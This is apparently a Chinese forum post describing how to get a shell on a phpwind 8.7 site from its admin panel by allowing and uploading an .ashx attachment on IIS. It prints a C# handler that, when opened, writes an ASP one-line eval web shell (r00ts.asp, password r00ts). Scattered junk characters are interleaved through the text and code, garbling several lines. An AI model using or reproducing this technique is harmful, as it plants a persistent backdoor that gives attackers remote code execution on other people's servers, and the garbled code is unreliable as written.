phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小
" V( b, O0 T, U
群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx

4 {  S( R1 k7 {打开之后空白 会在目录底下生成r00ts.asp 密码r00ts
6 Y" b5 D" @' |( C& a5 t7 |: H' p
" [# a; r# k7 a. \# j6 ^下面是代码:
- v. w% t: F- `1 i' k
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
5 o0 x' {+ ~$ d( }/ r9 Lusing System.Web;
4 \/ S% _3 f7 }8 Z1 x4 tusing System.IO;
% ?; O1 f" Q: upublic class Handler : IHttpHandler {
public void ProcessRequest (HttpContext context) {
context.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
( s' i; q1 a! }, _6 v* |- X5 Xfile1.Write("<%eval request(\"r00ts\")%>");
+ v0 @$ B5 l% }8 L6 \7 ?/ ]file1.Flush();
- m$ W4 K) D+ \  \; `3 }7 ~+ bfile1.Close();
}
public bool IsReusable {
/ Z1 w( l6 V0 k! k7 U( vget {
4 q+ N+ J: p: Yreturn false;
, E" @1 ?# f7 @& \5 f}
! H4 X. c+ m# j. }}
}